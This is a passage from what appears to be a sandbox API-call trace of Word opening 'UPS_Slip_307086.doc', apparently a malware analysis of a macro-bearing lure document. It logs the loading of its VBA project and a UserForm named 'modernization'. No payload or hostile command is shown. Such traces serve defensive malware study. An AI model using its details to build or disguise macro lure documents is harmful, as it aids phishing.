lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ムǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="メǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="モǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ャǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヤǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ュǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ユǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ョǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヨǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ラǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="リǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ルǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.145] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="レǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ロǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヮǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ワǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヰǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヱǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヲǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ンǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヴǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヵǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヶǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヷǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヸǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヹǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヺǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="・Ǜ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ーǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヽǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヾǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 2 [0017.146] LCMapStringW (in: Locale=0x411, dwMapFlags=0x600000, lpSrcStr="ヿǛ", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0017.148] GetUserDefaultLangID () returned 0x409 [0017.148] GetSystemDefaultLangID () returned 0x430409 [0017.148] GetSystemMetrics (nIndex=42) returned 0 [0017.149] GetStockObject (i=13) returned 0x18a002e [0017.149] GetObjectA (in: h=0x18a002e, c=60, pv=0x265550 | out: pv=0x265550) returned 60 [0017.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="7.1\\Common", cchWideChar=-1, lpMultiByteStr=0x6f4cb7c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.1\\Common", lpUsedDefaultChar=0x0) returned 11 [0017.149] VirtualQuery (in: lpAddress=0x2656d0, lpBuffer=0x265690, dwLength=0x30 | out: lpBuffer=0x265690*(BaseAddress=0x265000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xb000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0017.149] CreateCompatibleDC (hdc=0x0) returned 0x26010706 [0017.149] GetCurrentObject (hdc=0x26010706, type=0x7) returned 0x185000f [0017.180] lstrcmpiW (lpString1="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", lpString2="") returned 1 [0017.180] lstrlenA (lpString="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 45 [0017.180] lstrcpyA (in: lpString1=0x16ba80, lpString2="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: lpString1="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" [0017.180] SetCursor (hCursor=0x10007) returned 0x10007 [0017.180] GetCurrentThreadId () returned 0x938 [0017.180] GetCurrentThreadId () returned 0x938 [0017.180] GetLocalTime (in: lpSystemTime=0x265560 | out: lpSystemTime=0x265560*(wYear=0x7e1, wMonth=0x8, wDayOfWeek=0x2, wDay=0x16, wHour=0x1, wMinute=0x22, wSecond=0x0, wMilliseconds=0xc4)) [0017.180] _ultow_s (in: _Value=0x5b6e3d08, _Buffer=0x71e8c0a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5b6e3d08") returned 0x0 [0017.180] wcsncpy_s (in: _Destination=0x265290, _SizeInWords=0x108, _Source="*\\Z005b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z005b6e3d08") returned 0x0 [0017.180] CharLowerBuffW (in: lpsz="*\\Z005b6e3d08", cchLength=0xd | out: lpsz="*\\z005b6e3d08") returned 0xd [0017.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005b6e3d08", cchWideChar=14, lpMultiByteStr=0x2651b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.180] wcscpy_s (in: _Destination=0x6ee46f0, _SizeInWords=0xe, _Source="*\\Z005b6e3d08" | out: _Destination="*\\Z005b6e3d08") returned 0x0 [0017.181] wcsncpy_s (in: _Destination=0x2652c0, _SizeInWords=0x108, _Source="*\\Z005b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z005b6e3d08") returned 0x0 [0017.181] CharLowerBuffW (in: lpsz="*\\Z005b6e3d08", cchLength=0xd | out: lpsz="*\\z005b6e3d08") returned 0xd [0017.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005b6e3d08", cchWideChar=14, lpMultiByteStr=0x2651e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.181] lstrcpyA (in: lpString1=0x16bac0, lpString2="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: lpString1="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" [0017.181] lstrcpyA (in: lpString1=0x16bac0, lpString2="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: lpString1="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" [0017.181] lstrcpyA (in: lpString1=0x16bac0, lpString2="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: lpString1="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" [0017.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16bac0, cbMultiByte=-1, lpWideCharStr=0x265b90, cchWideChar=46 | out: lpWideCharStr="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 46 [0017.181] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0017.181] wcscpy_s (in: _Destination=0x265936, _SizeInWords=0x105, _Source="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: _Destination="C:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.181] wcsncpy_s (in: _Destination=0x265610, _SizeInWords=0x108, _Source="*\\Z005b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z005b6e3d08") returned 0x0 [0017.181] CharLowerBuffW (in: lpsz="*\\Z005b6e3d08", cchLength=0xd | out: lpsz="*\\z005b6e3d08") returned 0xd [0017.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005b6e3d08", cchWideChar=14, lpMultiByteStr=0x265530, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.181] _wcsicmp (_String1="*\\Z005b6e3d08", _String2="*\\Z005b6e3d08") returned 0 [0017.181] wcsncpy_s (in: _Destination=0x265610, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.181] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x265530, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.181] wcscpy_s (in: _Destination=0x73dbd40, _SizeInWords=0x31, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.181] wcsncpy_s (in: _Destination=0x265610, _SizeInWords=0x108, _Source="*\\Z005b6e3d08", _MaxCount=0x106 | out: _Destination="*\\Z005b6e3d08") returned 0x0 [0017.181] CharLowerBuffW (in: lpsz="*\\Z005b6e3d08", cchLength=0xd | out: lpsz="*\\z005b6e3d08") returned 0xd [0017.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005b6e3d08", cchWideChar=14, lpMultiByteStr=0x265530, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005b6e3d08", lpUsedDefaultChar=0x0) returned 14 [0017.181] _wcsicmp (_String1="*\\Z005b6e3d08", _String2="*\\Z005b6e3d08") returned 0 [0017.181] wcsncpy_s (in: _Destination=0x265640, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.181] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc", cchLength=0x30 | out: lpsz="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc") returned 0x30 [0017.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", cchWideChar=49, lpMultiByteStr=0x265560, cbMultiByte=98, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\adu0vk~1\\desktop\\ups_slip_307086.doc", lpUsedDefaultChar=0x0) returned 49 [0017.181] wcscpy_s (in: _Destination=0x71e8c00, _SizeInWords=0x108, _Source="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc" | out: _Destination="*\\CC:\\Users\\ADU0VK~1\\Desktop\\UPS_Slip_307086.doc") returned 0x0 [0017.182] CExposedDocFile::AddRef () returned 0x2 [0017.182] CExposedDocFile::OpenStorage () returned 0x0 [0017.182] CExposedDocFile::AddRef () returned 0x2 [0017.182] wcscpy_s (in: _Destination=0x6ee4740, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0017.182] wcscpy_s (in: _Destination=0x264e60, _SizeInWords=0x40, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0017.182] _ltow_s (in: _Value=0, _Buffer=0x264e6c, _BufferCount=0x3a, _Radix=16 | out: _Buffer="0") returned 0x0 [0017.182] CExposedDocFile::OpenStream () returned 0x0 [0017.182] CExposedStream::AddRef () returned 0x2 [0017.182] CExposedStream::Release () returned 0x1 [0017.182] CExposedStream::Read () returned 0x0 [0017.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264e80, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0017.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264e80, cbMultiByte=9, lpWideCharStr=0x2b2bb48, cchWideChar=9 | out: lpWideCharStr="*\\CNormal") returned 9 [0017.185] CompareStringA (Locale=0x419, dwCmpFlags=0x1, lpString1="stephen", cchCount1=7, lpString2="amy", cchCount2=3) returned 3 [0017.186] CExposedStream::Read () returned 0x0 [0017.187] CExposedStream::Read () returned 0x0 [0017.187] CExposedStream::Read () returned 0x0 [0017.188] CExposedStream::Read () returned 0x0 [0017.188] CExposedStream::Release () returned 0x0 [0017.188] lstrcpyA (in: lpString1=0x16d11c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0017.188] CExposedDocFile::Stat () returned 0x0 [0017.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16d11c, cbMultiByte=-1, lpWideCharStr=0x265a80, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0017.188] CExposedDocFile::OpenStream () returned 0x0 [0017.188] CExposedDocFile::AddRef () returned 0x3 [0017.188] CExposedStream::Stat () returned 0x0 [0017.188] CExposedStream::Read () returned 0x0 [0017.188] lstrlenA (lpString="") returned 0 [0017.188] lstrcpyA (in: lpString1=0x1c4ca10, lpString2="" | out: lpString1="") returned="" [0017.188] lstrlenA (lpString="") returned 0 [0017.188] lstrcpyA (in: lpString1=0x1c4ca30, lpString2="" | out: lpString1="") returned="" [0017.188] lstrlenA (lpString="") returned 0 [0017.188] lstrcpyA (in: lpString1=0x1c4ca50, lpString2="" | out: lpString1="") returned="" [0017.189] lstrlenA (lpString="") returned 0 [0017.189] lstrcpyA (in: lpString1=0x1c4ca70, lpString2="" | out: lpString1="") returned="" [0017.189] lstrlenA (lpString="") returned 0 [0017.189] lstrcpyA (in: lpString1=0x1c4ca90, lpString2="" | out: lpString1="") returned="" [0017.189] lstrcpynA (in: lpString1=0x16d5f0, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0017.189] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0017.189] lstrcpyA (in: lpString1=0x16d830, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0017.190] lstrcpynA (in: lpString1=0x16d890, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0017.190] lstrlenA (lpString="50, 50, 1460, 634, ") returned 19 [0017.190] lstrcpyA (in: lpString1=0x16a7d0, lpString2="50, 50, 1460, 634, " | out: lpString1="50, 50, 1460, 634, ") returned="50, 50, 1460, 634, " [0017.190] lstrlenA (lpString="75, 75, 1485, 659, ") returned 19 [0017.190] lstrcpyA (in: lpString1=0x16a7f0, lpString2="75, 75, 1485, 659, " | out: lpString1="75, 75, 1485, 659, ") returned="75, 75, 1485, 659, " [0017.190] lstrlenA (lpString="0, 0, 0, 0, C, 25, 25, 1096, 644, C") returned 35 [0017.190] lstrcpyA (in: lpString1=0x1c4d500, lpString2="0, 0, 0, 0, C, 25, 25, 1096, 644, C" | out: lpString1="0, 0, 0, 0, C, 25, 25, 1096, 644, C") returned="0, 0, 0, 0, C, 25, 25, 1096, 644, C" [0017.190] lstrlenA (lpString="100, 100, 1510, 684, Z") returned 22 [0017.190] lstrcpyA (in: lpString1=0x16a810, lpString2="100, 100, 1510, 684, Z" | out: lpString1="100, 100, 1510, 684, Z") returned="100, 100, 1510, 684, Z" [0017.190] CExposedDocFile::OpenStream () returned 0x0 [0017.190] CExposedStream::Stat () returned 0x0 [0017.190] CExposedStream::Read () returned 0x0 [0017.190] CExposedStream::Release () returned 0x0 [0017.190] lstrcpyA (in: lpString1=0x1c4ca20, lpString2="" | out: lpString1="") returned="" [0017.191] lstrcpyA (in: lpString1=0x1c4ca40, lpString2="" | out: lpString1="") returned="" [0017.192] lstrcpyA (in: lpString1=0x1c4ca60, lpString2="" | out: lpString1="") returned="" [0017.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16d3e3, cbMultiByte=-1, lpWideCharStr=0x265a60, cchWideChar=39 | out: lpWideCharStr="{AC9F2F90-E877-11CE-9F68-00AA00574A4F}") returned 39 [0017.192] CLSIDFromString (in: lpsz="{AC9F2F90-E877-11CE-9F68-00AA00574A4F}", pclsid=0x265ab0 | out: pclsid=0x265ab0*(Data1=0xac9f2f90, Data2=0xe877, Data3=0x11ce, Data4=([0]=0x9f, [1]=0x68, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0017.192] CoCreateInstance (in: rclsid=0x16e4e0*(Data1=0xac9f2f90, Data2=0xe877, Data3=0x11ce, Data4=([0]=0x9f, [1]=0x68, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), pUnkOuter=0x0, dwClsContext=0x3, riid=0x7fef41be080*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16e4f0 | out: ppv=0x16e4f0*=0x72e4060) returned 0x0 [0017.280] IUnknown:QueryInterface (in: This=0x72e4060, riid=0x7fef41cab58*(Data1=0x94a0f6f1, Data2=0x10bc, Data3=0x11d0, Data4=([0]=0x8d, [1]=0x9, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0x32)), ppvObject=0x16e480 | out: ppvObject=0x16e480*=0x72e4078) returned 0x0 [0017.281] IUnknown:QueryInterface (in: This=0x72e4060, riid=0x7fef41cd9b8*(Data1=0x10a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x16e4f8 | out: ppvObject=0x16e4f8*=0x0) returned 0x80004002 [0017.281] lstrcpyA (in: lpString1=0x1c4ca80, lpString2="" | out: lpString1="") returned="" [0017.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16d415, cbMultiByte=-1, lpWideCharStr=0x2659c0, cchWideChar=14 | out: lpWideCharStr="modernization") returned 14 [0017.281] CExposedDocFile::OpenStorage () returned 0x0 [0017.284] lstrcpyA (in: lpString1=0x16e92c, lpString2="\x03VBFrame" | out: lpString1="\x03VBFrame") returned="\x03VBFrame" [0017.284] CExposedDocFile::Stat () returned 0x0 [0017.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16e92c, cbMultiByte=-1, lpWideCharStr=0x265890, cchWideChar=9 | out: lpWideCharStr="\x03VBFrame") returned 9 [0017.284] CExposedDocFile::OpenStream () returned 0x0 [0017.284] CExposedDocFile::AddRef () returned 0x2 [0017.284] CoCreateGuid (in: pguid=0x16eaa0 | out: pguid=0x16eaa0*(Data1=0x5b549b26, Data2=0xab64, Data3=0x4cd1, Data4=([0]=0x8e, [1]=0xdd, [2]=0xd, [3]=0x2e, [4]=0xf0, [5]=0xb2, [6]=0x30, [7]=0xd6))) returned 0x0 [0017.284] CoCreateGuid (in: pguid=0x16eab0 | out: pguid=0x16eab0*(Data1=0x91bcc23d, Data2=0x830e, Data3=0x4cca, Data4=([0]=0x8d, [1]=0x5d, [2]=0x5d, [3]=0xd8, [4]=0xd3, [5]=0x9e, [6]=0x2c, [7]=0x57))) returned 0x0 [0017.284] GetCurrentThreadId () returned 0x938 [0017.284] GetCurrentThreadId () returned 0x938 [0017.284] GetCurrentThreadId () returned 0x938 [0017.284] CExposedStream::Stat () returned 0x0 [0017.285] GlobalLock (hMem=0x5080078) returned 0x6dafa90 [0017.285] GlobalSize (hMem=0x5080078) returned 0x200 [0017.285] CExposedStream::Read () returned 0x0 [0017.285] GetCurrentThreadId () returned 0x938 [0017.285] GetCurrentThreadId () returned 0x938 [0017.285] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0017.285] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0017.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4205d40, cbMultiByte=-1, lpWideCharStr=0x265400, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.285] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x265488 | out: pclsid=0x265488*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0017.286] lstrcpynA (in: lpString1=0x265730, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=256 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0017.286] lstrcpynA (in: lpString1=0x265630, lpString2="modernization", iMaxLength=256 | out: lpString1="modernization") returned="modernization" [0017.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x265730, cbMultiByte=-1, lpWideCharStr=0x265430, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.286] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x265490 | out: pclsid=0x265490*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0017.286] SetCursor (hCursor=0x10007) returned 0x10007 [0017.286] CoCreateGuid (in: pguid=0x2652d0 | out: pguid=0x2652d0*(Data1=0x943fc620, Data2=0xe083, Data3=0x4373, Data4=([0]=0x92, [1]=0xc5, [2]=0x47, [3]=0xe4, [4]=0xbe, [5]=0x89, [6]=0x6b, [7]=0x4))) returned 0x0 [0017.286] CoCreateGuid (in: pguid=0x265330 | out: pguid=0x265330*(Data1=0xceec4954, Data2=0x2701, Data3=0x4880, Data4=([0]=0xa1, [1]=0x65, [2]=0x84, [3]=0x78, [4]=0xb4, [5]=0x72, [6]=0xcc, [7]=0xb7))) returned 0x0 [0017.286] CoCreateGuid (in: pguid=0x265310 | out: pguid=0x265310*(Data1=0x14a701e, Data2=0xb309, Data3=0x4532, Data4=([0]=0x83, [1]=0xfb, [2]=0xa3, [3]=0x38, [4]=0x38, [5]=0x8, [6]=0x8c, [7]=0x3))) returned 0x0 [0017.286] CoCreateGuid (in: pguid=0x265300 | out: pguid=0x265300*(Data1=0xa6fa1990, Data2=0xb0ae, Data3=0x49a1, Data4=([0]=0x8e, [1]=0x56, [2]=0x99, [3]=0x2f, [4]=0xdb, [5]=0x61, [6]=0xd2, [7]=0xfc))) returned 0x0 [0017.286] CoCreateGuid (in: pguid=0x265340 | out: pguid=0x265340*(Data1=0xce4bd4f, Data2=0xab01, Data3=0x4e6d, Data4=([0]=0xa4, [1]=0x8a, [2]=0x17, [3]=0x67, [4]=0x53, [5]=0x3d, [6]=0x96, [7]=0x2b))) returned 0x0 [0017.286] OleRegGetMiscStatus (in: clsid=0x265490*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), dwAspect=0x1, pdwStatus=0x2650d8 | out: pdwStatus=0x2650d8) returned 0x0 [0017.287] lstrcpyA (in: lpString1=0x265000, lpString2="CLSID\\" | out: lpString1="CLSID\\") returned="CLSID\\" [0017.287] StringFromGUID2 (in: rguid=0x265490*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lpsz=0x73dbf28, cchMax=122 | out: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0017.287] lstrcatA (in: lpString1="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpString2="\\DesignerFeatures" | out: lpString1="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\DesignerFeatures") returned="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\DesignerFeatures" [0017.287] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="CLSID\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\DesignerFeatures", phkResult=0x264ff0 | out: phkResult=0x264ff0*=0x0) returned 0x2 [0017.287] ProgIDFromCLSID (in: clsid=0x265490*(Data1=0xc62a69f0, 